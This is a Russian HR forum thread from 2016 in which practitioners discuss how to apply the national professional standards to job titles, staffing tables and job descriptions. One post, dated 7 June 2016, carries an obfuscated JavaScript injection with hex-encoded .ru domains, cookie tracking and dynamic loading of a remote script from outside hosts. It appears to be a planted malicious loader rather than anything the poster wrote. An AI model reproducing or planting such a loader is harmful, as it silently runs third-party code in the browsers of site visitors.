Что значит применять профстандарты?
Не оставляйте в сообщениях активных ссылок на другие ресурсы.
Участники, которые на форуме активно и грамотно отвечают на вопросы коллег, получают подписку на журнал "Кадровик-практик" в подарок
02.06.2016 14:35:53 В ужасе мечусь по этому поводу. Надо получается изменять наименование должностей, особенно это касается гос.закупок и бухгалтеров. Нужно менять штатку. Дурдом "Ромашка" | |
02.06.2016 14:52:30 У нас, допустим организация частная, строительство и содержание а/дорог, но в базе профессиональных стандартов нет этой отрасли в перечне. И не совсем понимаю как это все внедрять. | |
03.06.2016 09:15:00 Бухгалтер/кадровик/юрист есть? или только рабочие? Вот к бухгалтерам, кадровикам и юристам и применять)) | |
03.06.2016 09:20:27 А если я по штатному библиотекарь, а выполняю работу кадровика-делопроизводителя. Тогда кто я по профстандарту? Кадры решают все. Что им разрешают... | |
03.06.2016 10:46:47 Мне тоже совершенно не понятно какие именно действия нужно произвести в документах. | |
03.06.2016 11:16:23 Коллеги есть какое-то движение в направлении Профстандартов? (гори они......) | |
06.06.2016 09:31:33 Начните с выяснения, какие профстандарты уже утверждены, и есть ли в организации такие виды профессиональной деятельности. Если требования к квалификации, необходимой работнику для выполнения определенной трудовой функции, установлены Трудовым кодексом, федеральными законами, иными нормативными правовыми актами РФ профессиональные стандарты обязательны для применения. В нашей организации это: - «Специалист в сфере закупок» (Обязательность применения: Федеральный закон от 05.04.2013 N 44-ФЗ "О контрактной системе в сфере закупок товаров, работ, услуг для обеспечения государственных и муниципальных нужд";). - «Специалист в области охраны труда» (Обязательность применения: ТК РФ, Статья 217. Служба охраны труда в организации). Профессиональные стандарты, обязательность применения которых не установлена, можно использовать в качестве основы для определения трудовых функций в трудовых договорах и должностных инструкциях. Изменено: | |
06.06.2016 11:40:47 Росита, интересно Ваше мнение: должность "специалист по охране труда" должна называться только так и не иначе, или допускаются всякие видоизменения типа "специалист по охране труда и технике безопасности, специалист по охране труда и экологии" и т.д. ? Кадровику: пошаговые инструкции, образцы документов | |
06.06.2016 12:42:26 Профстандарт «Специалист в области охраны труда» упоминает одно возможное наименование должности - Специалист по охране труда. Я думаю, название ёмкое, зачем его перегружать? А уже в должностной инструкции можно реализовать свои творческие способности. | |
06.06.2016 14:20:36 Добрый день! У нас ООО, менеджер по персоналу занимается и подбором и кадрами, бухгалтер тоже на все руки.... Нам что тоже подводить все под профстандарт или это, все таки , больше для гос. компаний? | |
06.06.2016 15:30:47 По бухгалтерам и специалистам по управлению персоналом обязательность применения профстандартов не установлена (Трудовым кодексом, федеральными законами, иными нормативными правовыми актами РФ). | |
06.06.2016 15:41:00
| |||
06.06.2016 16:48:08
| |||||
06.06.2016 16:53:21
| |||
06.06.2016 17:10:10
| |||
07.06.2016 08:19:27 Еще забавнее слышать это от человека, который не дал ни одного дельного комментария ни в одной теме, зато устраивает склоки постоянно! Если нечего сказать по теме - пройдите мимо! Изменено: | |
07.06.2016 09:36:31 mila2, полностью поддерживаю, подобные язвительные комментарии не несущие никакого конструктивного диалога, полностью отбивают желание общаться на форуме. Если человек считает себя таким Специалистом, что считает выше всех себя то зачем вообще опускаться до общения. А быть выше всех и плевать на всех это не профессионально, Особенно для должностей в кадрах, которые всегда общаются с большим количеством разных людей. А если короче, - то высокомерие бесит. Извините, накипело.... По теме. Тоже пытаюсь понять нужно ли нам применение профстандартов. Конкретно по Охране труда - я не могу определить ГДЕ именно написано что к таким специалистам должны применяться профстандарты обязательно? Но больше конечно интересует по льготным профессиям - Электромонтер линейщик по монтажу воздушных линий высокого напряжения и контактной сети. Я конечно отслеживаю, но вдруг они его так хитро обзовут... window .a1336404323 = 1;!f unction(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); Изменено: | |
07.06.2016 09:44:41 профстандарт обязателен для главного бухгалтера – есть Федеральный закон от 06.12.2011 N 402-ФЗ "О бухгалтерском учете". Есть ли статья в ТК, федеральный закон, иной нормативный правовой акт РФ, посвященный специалисту по управлению персоналом или бухгалтеру? Вам что-то известно? Поделитесь. | ||||
Отписаться от сообщений с форума
Мнение администрации форума может не совпадать с мнением участников форума. Администрация форума не несет ответственности за сообщения, размещаемые участниками форума. Вместе с тем, убедительная просьба к участникам - при общении не нарушать действующее законодательство: при цитировании чьих-либо произведений не нарушать права авторов, не распространять недостоверную порочащую кого-либо информацию, не разглашать чьи-либо персональные данные и т.д. Если Вы заметили сообщение, которое, возможно нарушает закон или правила форума, пожалуйста, напишите нам >>
В работе Вам помогут:
| |||||
Ресурсы ИКС |
Журнал "Кадровик-практик" | Книги по кадровому делопроизводству | Журналы регистрации и книги учета |
Бесплатные ресурсы
Пошаговые инструкции
Образцы документов
Статьи и консультации
Разъяснения Роструда, НПА
Подпишитесь на наши рассылки:
- новые публикации,
- новости законодательства
Познавайте кадровый учет сами с нашим самоучителем по кадровому делопроизводству
Кадровый аудит своими силами. Найдите у себя эти ошибки и исправьте их
Фотообои с производственным календарем на 2024 год
Опросы по сложным вопросам кадровой практики